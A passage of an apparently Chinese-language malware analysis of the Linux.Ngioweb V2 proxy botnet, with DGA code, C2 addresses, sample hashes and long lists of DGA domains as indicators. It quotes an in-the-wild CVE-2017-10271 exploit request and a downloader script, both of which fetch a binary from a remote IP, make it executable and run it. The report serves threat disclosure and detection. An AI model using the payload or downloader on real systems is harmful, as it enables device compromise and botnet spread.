derivacing-iloxeheful-inecemed.org
microseboful-transebisation-degokition.biz
postorabity-miselugific-minizahiward.com
monokacily.name
underucotal-monobunedoless-minikulify.net
receziless-ultradasify-prefazofish.org
monolalession.name
underizonedom-macropodavuhood.net
misopoval.name
underivadant-semibofixoty.info
minipeboxing-deracocify.biz
overumakency-prekozulure.com
exufifision.com
prezalehaly.info
dekasafy-imevinupable.info
coviviship-pronehaless.info
ultratovibuhood-microburodom.info
underucebohical.net
antitegabussion-devumuth-revexorical.com
iritukan-interatadite-misafegoth.com
semibizolument-underotaxive.net
misilaracal-minisomudese.name
cobevahant-minimufocity-cotoxanoth.com
prozapetament.info
underumamotion-interediripite.org
exofecukity.biz
underusimant-unigaverical.info
underarixogage.org
iripabath-irecuboxible.info
underobomipous-imofevazancy.info
dekegexive-derokukith.net
microbigukement-overazoredom.info
postaruxanant.com
remenuty-postexinity.org
irohorafy-antixomafese.org
exanisary-disomugetn-rekamaty.name
interasupukity-emufucoship-semibumaless.info
macronoboship-probihohodom.info
enorasancy-irenagion-underexelozer.net
prevesuxage-prevakomous-exorovage.info
inehegely-enolobocical.net
iranuzulike-subibeneship-misezomor.name
interipurusist-antimafidom-multinedisency.info
overidaturary-antikezuful-dexepovish.name
ultrakorudath-exofabidern-cogenakulike.org
semipodofate-misibogesion-unasobuhood.org
emubicodency-interotupure.net
imetocirian.biz
underunazency-microrisover-antineheless.biz
macrocumubohood-emukafosion-subupenure.info
depifesion-suburinipible-interinokage.com
unihogish.name
minilugovefy.net
semigakitan.net
misuviking-transidodunate.com
antimupacary-unixosaward.com
imizagution-cokivaxoship-emavavism.info
postivikism-prefuvezedom-denihuship.org
irirecupist.biz
cofiresary-dedidigage-multivucaness.com
relarity-inagomese-exaderaward.net
nonusonuth-exifaxufy.net
subinobese-transinacibic.net
exegudous-underitifiment.info
multicupapize.info
posticazalish-emedokician-transezuraless.info
ultranepacihood.net
unorubese-inozoficese.org
unocacish-enoniculy.biz
inakirission-multihigutite-dedafuleship.net
imenazotian-ilesafance.com
anticocacable-imonifion-interapopation.biz
mininovition-underucuxety-transamurizancy.com
emozonous.biz
overofucodom-ultrafizudive-enekaconism.org
recitofuly-multikobepofy.org
semixexiless-ilagamic.org
prerozunodom-interixudoment.biz
underanipetn-imanodidible-ultraropagic.name
multikafenoth-antiguhipassion-multilitebern.info
ultralufetous-underecanagive.net
semihesegite-nonilakal-postubetinese.net
nonepitopible-overozuzate-emuxevive.name
ultrafikuth.org
micronixogage-prerihapian-monomibession.info
transahihancy-semizehogament.info
minihihokuward.net
imenipapary-inubuharist-prebemunedom.name
disixadible-monocirecing.org
exixefugal-inaxedoty.biz
postunolobage-premugossion-dexokacate.name
multizocisehood-nonulafapous.name
ultracimosary.info
enotufassion-minikavunous.biz
inuhamage.net
misulonupism.info
desemamoth-recabalible.org
semixukehify-semihofenoment.name
transaroran-subobukezish.name
macrotaxigian-degoxobance-ilidilant.org
antitamokaless-ilusulussion-inaretiless.name
inelocument-enazobity.net
pretetegize.com
prosimetion-interamexish-misexesency.info
underofogize-iruposision.com
nonopegeker-enorefuty.info
disokehamary.org
unetikuhood.org
nonisuzilant-intererevafian.org
prenukorive-semimelekical-semixuxihement.biz
overaxehous-misugutuhood-nonubetabate.name
ilunomabify-unonebern-devicepant.biz
ilegugize.org
exofiralike-imakefebous-inomaluzed.com
antidavumetn-regulanuty-inenidure.org
exupamify-subixosoth.com
regahagize-antitaliless-underoparossion.name
multicefolike-antilihelite-proxunezate.com
semimuxoment.info
disuhosate-nonasilahood.net
prepevation-postebixish-probunedom.info
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2019年6月21日，我们向社区公布了一个新的Proxy Botnet，Linux.Ngioweb的分析报告。
2020年8月4日，360Netlab未知威胁检测系统捕获到一批VT零检测的疑似Ngioweb的ELF文件，经分析，我们确定它们属于同一个变种，简单地将其命名为Ngioweb V2。
2020年8月16日，360Netlab蜜罐系统发现攻击者陆续使用了9个Nday漏洞传播Ngioweb V2样本，涉及到x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，Hitachi SH，IBM S/390等CPU架构，标志着Ngioweb开始攻击IOT设备。同时支持众多的CPU架构，尝试众多Nday漏洞传播也彰显了其作者急欲扩张的企图。
2020年11月5日，友商IntezerLabs在VT上发现一个名为bins.october的压缩包，里面包含了多个编译器产生的50个Ngioweb样本，同样涉及全部的流行CPU架构。
基于Ngioweb长时间的活跃，VT上极低的检测率，以及开始攻击IOT设备等原因，我们决定编写本文，披露Ngioweb V2的一些技术细节&IOC，以便社区更好地识别，打击Ngioweb Botnet。
Linux.Ngioweb概览
Linux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[1]。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。
目前我们将Linux.Ngioweb分成了V1，V2俩个版本，他们的核心功能是一样的，最大的区别在于V2将许多之前明文存在stack上的信息，集中的做成了一个 配置，使用AES加密存储在DATA段中，主要对比如下所示
传播方式
Ngioweb V2通过Nday漏洞传播，所利用的漏洞如下所示，可以看出并没有特定的偏好设备。
* CVE_2013_3568
* CVE_2019_8387
* CVE_2020_14882
* D-Link Devices - HNAP SOAPAction-Header RCE
* JAWS_DVR_RCE
* NVRmini_cgisys
* Netgear_Voice_GW_RCE
* QNAP_NAS_QPS_SID_RCE
* CVE-2017-10271
以CVE-2017-10271为例，在野payload如下所示
POST /w**/CoordinatorPortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
对应的下载脚本如下所示，功能非常简单就是下载执行Ngioweb样本，然后自删除。
#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n
do
rm $a
wget http://94.102.50.143/$a
chmod +x $a
./$a
done
for a in $n
do
rm -rf $a
done
rm $0
Bot规模
我们注册了V1版本的DGA域名，从域名请求量看V1版本的bot其日活Bot IP数量在3k左右。
从360Netlab的DNSMon系统对V2生成的DGA域名的请求来看，估计其bot规模在2k～3k左右，与sinkhole的数量基本持平。
DNSMon的阻断
DNSMon对Ngioweb的DGA域名有较好的拦截效率。从DGA域名的请求记录实际情况来看，DNSMon的拦截比例达到了98.99%。
Linux.Ngioweb V2逆向分析
此次大规模活动样本几乎包含了的所有流行的CPU架构，本文选取X64架构的样本为分析对象，样本信息如下
MD5:ce4c23642878788ecaedd0903663244d
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
如前文所述Ngioweb V2的核心功能并没有变化，感兴趣的读者，可以翻阅我们的上一篇文章[2]。下文将着重介绍Ngioweb V2的新特性。在Ngioweb V1样本中，敏感的资源配置信息如C2，数字签名公钥，上报入口等都使用Stack Strings Obfuscationr技术进行存储，防止被安全人员一眼看破，有一定的作用，但效果有限。V2样本则做得显得更加隐蔽，将这些信息集中加密存储，在一定程序上增加了样本层面的检测难度；同时V2样本运行向C2上报设备信息的入口不再固定，在一定程度上增加了网络流量层面的检测难度。
新特性1：配置信息使用AES加密
Ngioweb V2 Bot样本将DGA种子，DGA产生domain数量，C2 , 数据签名公钥，上报信息入口等信息统一存储在一个配置中，此配置使用AES加密存储。当需要使用其中的信息时解密，用完后就销毁，防止敏感信息简单地通过内存dump被抓取。
Ngioweb的一大特点是动态生成加解密算法所需要的常量表，这种方式加大安全研究员的分析难度。
AES加密使用ECB模式，无填充，秘钥以及密文存储在DATA段中，前32字节为秘钥，接着512字节为密文。
以下密文为例
解密得到配置信息，例如其中的C2为185.44.75.125:443, 79.141.168.119:443
新特性2：DGA种子以及数量不固定
Ngioweb使用DGA产生的domain作为硬编码C2的补充，在V1 ,V2 Bot样本中，DGA的实现的没有变化。
具体实现如下
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
在V1中DGA Seed为硬编码的0x05397FB1，产生的domain总数为300。
在V2中DGA Seed，以及产生的domain总数均由配置信息指定。
目前我们一共得到以下4对Seed&Total Count的组合，对应所产生的DGA domain见IOC部分。
Seed
Total Count
0x01275c63
0x12c
0x01275c63
0x3e8
0x04bc65bc
0x12c
0x00375d5a
0x400
新特性3：上报信息入口不固定
在V1中，上报信息的入口为硬编码的/min.js
产生的数据包如下所示
在V2中，上报信息的入口由配置信息指定。
产生的数据包如下所示
目前我们一共得到下以3组入口信息。
Report entrance
/min.js
/zvyaga
http://185.44.75.125:443/metric
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab上联系我们。
IOC
Smaple MD5
bdaf967a6aef57d135b0806192884edc
7f26365e8d1e1a6ad8199bdddd4e9b3a
0840951a0c3219db5607754bcdbc1ac1
d29fb0306ee4b8cfe18c339ee42a98f9
305a600d309c1bda9e731803e3efca97
fb469128e67aad899a2b6709cbfe72a6
19020682555fa33ecf98a11fed499ea9
b4e5cecdff73f66786f87c1238912003
2818dfd8337fbb610f8910746c4219d8
d08e539c47100935fb8ba88a384f0305
f8263759c9111641d09c9fac6bcd9186
55ab7aa2ceadb3d30784123f2d534fdf
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2
2b484c7f104fe8160022e04d056d1135
df84b40ac3bd56bd15ab1d8b4a2bc1a7
2d6ea04f1f55471113f37239e5e23b19
a20d3f09eebd4102157ecdebf9557326
4b608985b7f741b0f0ab9f3d59e48f03
492928276181ca030fc2e1099b27beb2
300e68b03d8fbef6ce29de4d386eacf3
4419982c5fb43367203dca14ae6c1311
f8fdf251acc39fdb4f4444fc7ceb1d0e
c2695139e23205b96fb07e7ea963216c
431028b7a672c4167ecc77e36df24236
61783c6433288689a280bb2640e5f2af
3e0088ec332172e42c50dd034b7eaae1
953bd5431f144a976474d7c78de526ec
3dacf45ff17ba5d6018d3f44c0ea4a02
30dcce7dfd26f59dee9895cb6c70d51b
2b7c98eb58062401c8cff9b5fe95b0a3
ff4dbfc96ffce74e5ea057e50e0496e3
2be2ab5752261a733b5267527fe65d44
a375f20090d9a58c66dc22dd37286d34
ce120caed6b72cb89918dd2b329ceeb9
01f50c3fc1223e3f96d28bc4cd2c3e56
5be121ae51e970d4d0a5c08590099d79
fc98d2deb8563292d830ba37bbb243ad
afb782061df074ef2852953f47206aaf
d417f515d24c56e05b9ac17cf6ab2ec3
10824897899469775974122075c14b56
0274956798c61a5eecb12d331835854e
0808dbe61524a6a2a901e6ab2ac66e24
e1b0b6943d0f209e51e6b5b6744e6a54
663e0cf63d6b3f25bb33fea0876f3ef0
052f9c2f465ab33d68957bc25c4e5c0b
04800a25ce6c8d15e553459deec68bb9
a086b7da8aaf7a27b67db00e69eb1b7a
77c9d66e1ace1f840ed0416ab365260e
ebb4b45ce5622d75762f62e631436bb2
ce4c23642878788ecaedd0903663244d
00aa9b52e2f3b6ad4426466d7ca5f523
00b2a36d4070983bab0953ce613d8d8b
0257a639039f86f159bc6a4a39cded34
036bc9217942fd5b15f654b4f5dab24f
05e3369b655e5033d0f74bb3296863b2
09d9c3b5f7cf1fec26f812d5250bfeb1
0ac1705fe969fa6ccd3f449aac008b4d
0f32884f84a366c047b95408316b2c52
10ad3d84b869e383f1e88d5fc134e912
1338e36265e8d45ba7689c918ef9b34a
147b2ea408bef641a2e9d3cb4f7aedb9
16956c0468e6e2b6665ac4bb81af3164
16edc8d0d4be1385e9ddadfc722deae4
178e0c03eb83fb6cebb11d29e0e47ec9
21e37846936908ac90e6802e92d991df
2c5e58573bf1783c4557d71f9f1a04b4
2c7d58b1c5c172f88de7dbc02805eac0
2e953b78a03b430e803bde99bc0c83e3
36578d0dd5685abe6c4ed063221c59d0
37a6966b4092317e0b4079bdf0f5b0a0
39aaf64bd70846d2fe7b77ebc42be8a3
39d57c1abd7ae2488cb435c1ebc6d49e
3bdf12f6aeb84d02119914e63ada932e
40e88784c93651cec9792487575842e9
418188e977fc3b280d8919287aeda05b
4293a45ee5cd00da5505c878bc4fee08
4efdc2e227fb4b5e61eb5220f9e6d7f4
505cafe9c309ce61113dcb24124d1eba
5077972350fce365d085e178f4668c8d
54c9be7cd4a9f57728352a3426b32e4f
5b55dce8baa9818de1b828a5ba6b80f4
6a566eeaab50e22eed6f01684d7521fd
6c66cf2f923aa9da1494c99d1938cfb6
72f00975e83856252b8c0c3c687254ef
7ab879bc960b409f17bcad39a0bf7e3b
7aea64456ab14dd5d4e060ebfcefd79d
7e85b4596f95d1d597c46fa72d348061
7e88eb10e9c67dc650a6ae4912d65e63
82cef032e2e0fcc9f5582cd5916b97b7
843f44acc93cbffadd271e4ef5e03103
89c3f65fccb06f914c68aca218b0679d
8e6ca6bd922574a44a0a43b32a58ba52
8e8fd75a560505878cd2c76dca2c7ffe
92e6185f8d2216eef77b8bcc7c730c57
94c41d49388acb0089948c3ec618bc53
9db1cbd2f1d2fbd26aa7c1934e1f182e
9fdfedf862f11146efd18b42f86268e1
a20ab64e41014fbc992f2dfcb11a10d1
a2967ffd179faaeaab49d48b1473db00
a6fd221cd729d08550acd53767154de3
b1af3254ae6111efa3e2cb85eacf8e99
b459053d209c6d188ba89f1097fed1da
b5985a3fc08623d58d72d342da722f03
b9ffd7e55c105ab52b81f66badf05846
bbcd3ca4fbc0b40b0c9149e6371b9432
bfaa39fb6a151b9a64e59ffd80aa1bc1
c46121de170ecd5560b459ccf9f7557b
c587740989c196806c0a9c5e8e07f127
c77aa0f78c48901d7cc34a871c67eea2
d2eeb2a760d7a453e9a895c6f161503d
d7d5cee215140b7511b03885db89cb18
e52e9f80bd81abc3e855a88fc77a4df4
e9cb10408706890e48c3758831a631c1
ea319e0ef1b4e3d65a7e4fc23397a20e
ead0e821c939ce0bd271f5c148f5c8ca
ebe39d80a817a090bc1e20c4517b4fb4
f225a03e407b0f32235d7dfdd333f95e
f2e28b01742757942c1ce5acbbb8ee00
f3cbf39e3e95bd3f39bf6dd4e38f5690
f4445e7cab5694e56008a6ac8382b0cc
f9ab5e1483fee74e78f81ee2d8c3992b
fb24abf484c484670be0444a7ae0f918
fca1611067d38b6ce3234886f0d24cb3
fe5e88679c091136f0ff3c4f5ded9775
feda5a6340a7f71a75c43f43a57b0c1d
Downloader IP
31.14.40.107 ASN19624|Data_Room,_Inc Romania|Bucharest|Unknown
88.218.16.12 ASN50673|Serverius_Holding_B.V. Netherlands|Flevoland|Dronten
93.174.89.36 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.156 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.59.5 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.143 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
Stage-1 IP C2
162.218.122.123:443
111.90.149.238:443
103.193.4.113:443
185.44.75.216:443
185.44.75.125:443
79.141.168.119:443
Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)
overobozikish-semipezavution-interigupant.com
protivapical-semiletuful.info
minikibocency-interorofuly-cotufuhify.com
proxekigite.net
exuvasuhern.biz
multinipebian.name
inuzodaless-iluxunency.com
exubokilike-antilifizement.biz
transumudate.org
misuradabite-minibelaped-interetukuxable.net
prexunevament-macrotelulike-antipucudument.name
disorihous-monofulefiful.name
enecixety.biz
transoxapakancy-antidukovify.net
subimemibate.name
iledozible.net
unumopafy-antimixaly.biz
interilurocary-provohiless.name
inuvelasure.com
exovifist-multiseferiness.com
subidekancy-ileratily.name
postosofaping-irikinalike.net
ememacotian-ultrakenikoward-exudetancy.info
minilavuxufy-microtuhaly.name
multimilufy-exirorary.info
ultracadopiship-exinuhilike.net
subasamuhal-overufaring-emedotifure.info
disadugous-microdopiful-disicivize.org
subuvusen.info
enozufety-inilorely.name
inocinossion.info
disanevisish-misanolazen.biz
transegunant.com
exelituhese-depifukary.info
interazimist-microlitonish.com
prefunidom-postaxugiment.biz
ilolulian-nonisotive-overenevecese.net
procihanoly-postutegism.net
semivudely-cocehiward-renesoful.name
ultrafisekian-multitecaness.org
reravugission-enulebuten.com
sububofahood-semigumudom.biz
transinoromite-prohetahety-ilapeben.net
renuxakassion-ultravavamilike.org
emufatohood-regunicotion.info
interixamily.name
minirehugeship-prefepedism-rezomabiment.biz
enefiling-semipisigical.net
irebition-cocusifify.biz
interaxomaty-enunamage-prebuzipure.com
uninicaxous.info
postobigahese-micronepodom.biz
macrogizofant.name
macrogucapofy-semifenaly-interusoboty.name
multitemaber-delutafy-unehonecism.info
minikibamize-interekekadom.name
disulahifing-prefuzetion.biz
underubulian.com
exovezufy.com
prehagovern-subapalaship-iripatixist.info
multimanibic-transirizikage.net
anticisubaless-overatexossion-ultrakidefalike.net
misutokahood.net
resibapese-iribelancy.biz
underefunible-subunizal.biz
ultracibeward-unimumanable.info
overasizous-semigofehify-emepaving.name
ultracuvupancy-multisacokency.name
disuxegance-unohupuship.com
unuramesion-antiximocable-premerudation.biz
transatidaly-intereducigism-unugiheth.com
micropigession-cosenath.net
exevetedism.biz
minixamesion.org
imedenese-inecucary-unoseluhood.org
subegivaward-semiluriful.info
transudakicern-exepagetn-ilonunety.name
ilidinurary-imelunern.info
enixihidom-covohipive-multixohelike.com
semicekument-disahezulible-nonahopohood.com
promucidaty-detupobant.info
macropuxolian-disatusopic.net
resiredeful-disamefese-nononutetn.info
multimovatiward.org
unifapath-pregohuhite.com
exofabity-posteramited.org
micromuniten-semirekiveful.name
ilaxovage-exezihoness.net
micromurocese-proniragance.com
prohufabament.biz
ilakihopity-irediletous-disatibant.net
semiborexoless-cocukuviship-unaderible.name
postatavexed-antitikadotion-demekimeness.net
subobekous-inohixical.com
semitinity-comoxuness.org
antisavuty-overulogolity.com
prokarumement-inanuvify.com
semisomiment-interuholudom-underovixitable.net
misirahiward-prelabakuly-multimipumish.biz
ultrasibodilike.org
exesuran-overefibadom.name
overifaker-monokabarize.com
nonudaboness-antimofidaty-interapupily.name
transefacity-nonuvosolive-postamevession.name
delilelike.org
imonabaval-postesudable.org
exozebizist.biz
macrogotafy-refahuly.info
conefify-seminehivern-emugugitical.info
copugalike.net
misemokemity-ilemacation-multitopehood.net
micromefoxism-microtiruful-postasacation.name
ultralegoroth-eximonist.name
minipozebilike.com
semimiranure-unulasion-cozukuship.org
misumenite-macrovironuhood-misitedion.info
ilogesuric-nonunihern-ultrarahupaness.com
emupuping.biz
minilosoth-microlimexession-enogamity.com
unerihish-interavicumite.org
unitevous-transedufudom-enusomozetn.net
remabarety-ultrabocotant.name
enugezession-interokasugance.org
ireditixary-macrocokakuward-rehohidian.net
emugadatian.info
interelobidom-postirirament-ultraparobesion.org
unixogency-dezofudoward-misekovary.info
transubivocal-prebekutan-exapimity.biz
underekenocary-exosivufism-multikolulike.net
rezazizage-prekuguhical-antibidoxic.org
irugexary-ultrafibahood.com
unasutify.info
enolirekage-imusegacion.name
underatekedom-ultralugarehood-irezizible.info
transohuluric.net
iruzusefy-monokokicancy.net
semivifetite-nonecicolike-retiradure.org
misobaling-cofodotuhood-nononepasion.org
misipeheness-misepucance-enoxelize.org
exulucovible-minivikecath.net
exefilevern-interoronary-monohusussion.info
overukizudom-interuvigument-macrorucalike.org
prexofunoful-transohuzize.org
irunanic.info
macrokadubofy.net
unonedeling-postakesemism.org
irumabodish-ultragotedary.name
postubixion.net
prenoxifodom-interihafian.com
subocetesion.org
seminukeful-ultraburovaward-misodihapism.info
interevafekism-nonogikan.biz
cozedesehood-prevurodom.name
interucezaful.info
cozusogetn-inobonuly.name
overoxevance.net
misupasor-overofexussion.biz
minizerexision.net
nonotutamese-cotekafure-enotezor.com
irutihalary-interunutohency.net
revuremure-imemapesion.net
microfufeser-misorirous-transotazafese.org
unumalefy-micronikaly-interepafoty.name
transugapity-misikivan-interikaxodern.com
pronecussion-interuretese.net
retorerument.biz
multipukogoward.net
monopinubism-prodigifession-minikafovure.name
delezubic-coxegukism.biz
enarufency-prebuhulotion-ultrasomoguness.com
imezigion-transikufamency.org
prekugagancy.net
irafinopify-enusukical-exekedous.biz
underikehuful.name
interavutagic-unacanese.name
overebopoxer-subifebilage.name
deziroming-multizoposion.com
redorusely-disivonuty.info
inukatiless.info
enihufahance-subaniletn.name
ilinugor.net
prerulation-multinapuhood.org
antisixegity-macrodosiness.org
antigadegan-unazekency.biz
cosoxufy.net
imuraxant-devarareship-microfarulical.net
semifibiciful-iloxivible.net
antivunaful.biz
minirorisible.info
underuxuced.net
irelevonous.name
iluvinakite-rekamepize-iranibish.info
disihosive-irazoniward.com
iraxikith-imitokabal.info
overagofadom-disedumance-nonababifion.name
depoxuzeness-imumipolish.name
minikepupese-macroperofy-progilobing.net
presisutiment-underorunipancy-exovomocant.biz
postelomuty-disazonaly-transazabesance.com
emumezite-minivasudeship-nonevuxion.info
interumipument-inesaber-remokedern.net
prenekomation.biz
disurolal-misosexant.biz
inasacily.name
transinexiran-antidimekudom.biz
multilalopant-interutoxoxed.org
microfamanuless-overudilelical-unobigous.info
enizafegify-irinocic-inonesoment.name
disabihal.net
monovizurable-exopecancy.info
deveruness-prezicepaty-ilorokoly.name
enevogussion.biz
enegexic-preremassion-macrokevath.com
emurapion.name
postirezubous-irexozihood-refebodom.info
overikucoful.biz
underehopoxance.com
nonedagous.biz
enodehoment.info
derigusage-disuzetiful-iluhokepist.net
unedadite.info
ultramuzify-exakibern.info
underumemance.org
prototifed-semibobazant-exaludalike.net
prebiniment-overerabudate-irotihate.biz
underepohese-unudegakan.biz
underunabity-overenatoly.biz
inalazossion-enirohefed-misozagen.biz
minibikovesion-proxuzocoful-underucabation.info
cocidedith-mononekoty-underululely.biz
multixotetous-transavotebist-antibanission.biz
underobotugancy-rekinotiful.info
ultraniderufy-unadukical.info
postizeban-exotibath.com
revodiciment-enafedity.org
exifikate.name
coxaviraward.net
semiregoziless-copibufy-imetovuhive.info
multihabician-multisugicish.biz
minibazehood-nonokikamen-inesomaful.biz
multificiward.net
subexidamion.biz
enizitavian-monolexadom.name
ultralanerency-underexibibancy.org
prelemely-interamuguzish-refesunuless.info
ilizalement-transemetirous.org
protazaren-nonohahity-underucofofity.net
emokacinan-overemacoless-disuredossion.name
interohazate-imivimion.info
overetunudom-inigohiment-interemokepen.com
ununimeness-ememuturible-macromazazuth.com
nonexepic.info
interizutidom-disivadement-enigegadom.info
postezakical-monoxizidom.info
interigaciful.name
inopofalize.org
unucibency-inevodession-iletakate.net
imotuzaship.net
micrometavation-interaruviful.name
ultranedoxify.org
emavevalike.com
retagucage.net
imopexaward-prokoguful.info
iletodish.com
rebikizuless-postaretexive.net
recolidom-disanuviment-postozagive.net
semimocalate-subemazive-disasihement.name
transiputotion.name
ultramasicize-overusixern-nonisupimary.info
enupevuxen-emuhomebal.name
disupasolance-misaperiward-misetolobern.name
overagohan-suboxifaric-minicorugure.biz
multirecelike-prehesakan.net
rezumugity.com
imanazuxen-postomodaty-disaxurate.com
prezotecussion-cobazesish-transurunist.net
emafezipant-cogapahohood-regifedom.biz
disogotesance-misomuded-overezanaful.biz
multibefelefy.net
monopitocen-semikahassion.name
interorozable-exoharuship.net
exetering-enehanument.name
disisopilance-prefemekuly-inopikety.name
overuvitacish-exerotetn-interunaziless.name
interepafary-irepatolike-microhatavament.name
disoxacify-subunevish-interopofuvency.org
imoputic-minilumezese.biz
postatotoly-postecumify-misazugofese.info
overugevapen.com
emasuvasion-suborumonage-inagamage.net
ireporerate-transetihed-unekelish.biz
minimumiward.com
presogifoless.info
macrokocador-ilevevugible-semitafument.name
miniderosion-prokihegiful-iluhonition.name
minifagadize-inazitubish.org
propafaban-misoraxafate.info
coceposion-misesixetancy-diselihecing.net
misigibezity-interepesission-underaderudion.org
semilagikan-emebaxobency-postunepan.net
monoxumution-overomaxish-unuramic.biz
inazogiful-overexunution-disikutancy.com
iroboxetn-ultrakolixoness-profoxution.info
transitigetn-misexuraward.org
exifimimary-enovucefancy-procexacency.com
iruribihood.com
microrinuguty.name
overotuxilous-subeciricary-disatakity.com
imelumezage.biz
transaxanary-mononixuful.info
iluvenern.org
monoxeberiless-inivekicic.net
semibutadom-multimakagary-postumicefite.net
unatinahern-interohogian.com
emexunency-underatakihing.net
unorisibity.info
minirifohood-pregenubotion-inipidorist.org
monotamekission-interuxeriless.info
ilobamodetn-seminufelotion.name
minikuxuness.com
nonigepefy.org
antiharisable-imucesese-postoxuzern.org
monogosession-underipimish.net
misupunubical.biz
postezotetion-overukopiful-inazukiling.org
propagarite.net
exafisixure-ultratomavance.biz
inadikuture-profazetion-overalupance.net
exobobaward.org
exafadify.name
disivazovous-semiheceless.biz
macrodopoxihood-monobudadom-cobabadahood.com
unehohevize-demuzezeth.net
nonuhasoship-microvibodidom-postagomament.name
interekekation-interedimian.net
retivelible-renonutely-ultrazutuward.org
imapuvate.info
postirikify-misuredity-underokonaty.info
multixodamalike.net
prezopement-interutafudom-denaseship.net
misatonazical-macronuguhood.com
monohupukoty-inozenimive-antimedoty.biz
ultranigixalike-procavigance-pregisiless.biz
coziloxive-multitusarist.biz
disaxopive-emifosish.info
macrogenehood-imifikizetn-overuguxakant.org
iragatofy-unoligion.info
interumohassion-minipepixor-underuxesission.biz
defasenision-microzisekeful-disixusian.net
semibokuful-ilihimetion-overumuhical.org
imerisigance.info
minimifith-nonahacinance.name
overaconadom.biz
macrolehekian-minicepesion-subuvosify.name
multisonision-exopedure.biz
enomunancy-imunekable-macrobimigal.biz
inumizeful-ultrazigupuward-profaxixive.net
semimicosage-exumadivic-macrohocative.info
ultragopuzosion.org
irobaguness-subedesical.info
postiduzancy-semixabelion.net
prevukefoless.name
minihuxexohood-emobuzolion-ilepiziful.info
interexivity-reluvegan.com
exonulefy-rehudukeless-intericamission.biz
colefutasion-antimudukeful.name
overatoxify.net
imivegion.biz
minihubofy.net
monosaviradom-interotarure-monotavahical.com
emobedolance-ilalamure.net
unanupaness-rehodifuty-enivapuly.name
depanivaship-irinipalike.net
semivofizor-mononecedom-underetecism.com
semirirekotion.name
postocaripist.com
imaxebuship-semicagition.org
prehorinoful.name
ultrazopinism.biz
overezaxiban-subotemern.info
ultrahalaping-minitacoship-irodolity.info
enoneviment-multifivizify.name
minizugohood-nonosubotion.biz
postuzapozese-nonitisidal-disibibaless.info
interipagity.com
imipanusion.com
prerivefency.org
reloputy-macrohigixing-underumumenary.net
misazuzasible-transozotament-overukocavage.com
imakupous-enarapition.biz
postatubily.name
overitubokian.com
prebabafotion-minitikihood.net
promoxevancy.org
emudamoth-progerosify-nonigunazist.name
transulipish-micronodapadom.info
minidohetion-underirukimish-rekutimity.com
semivopety-postamegary-resokepize.net
irufuvith-emikazufy.org
semificabance.net
prepolebuful-interuhugipible.net
semihesoly-overamoxatous-irunepan.info
disesener.net
nonogatilike-semihexission-enisoxuless.biz
detozigish-overohezibify-prodavetish.net
microsapirible.net
microcahelern.com
imaheroship-nonesenist-ilamihist.com
microlunanity-emoruraship-unesatalike.net
subixaler.name
minilosuduward-premulivaly-interomizeter.org
prezatofite-subabokist-overozamulor.com
subipebukous-minirohosion-imurofusism.biz
transulenify.com
monosozamoless-enoxuvussion.biz
enovulesancy-relixuhical-nonelomasion.com
misexilic-ultrakiroriward.com
semixufegish-unogohify.com
unororize-minizonify.org
protihuless.name
underovogarify.net
probetuxancy.net
semimotaly.name
ultrazatudeship-semifelasency-exinimohate.biz
cotifosion.org
nonudugihite.biz
ilefemern.com
unogehish-disemozihous.net
misasirary-overarotion.org
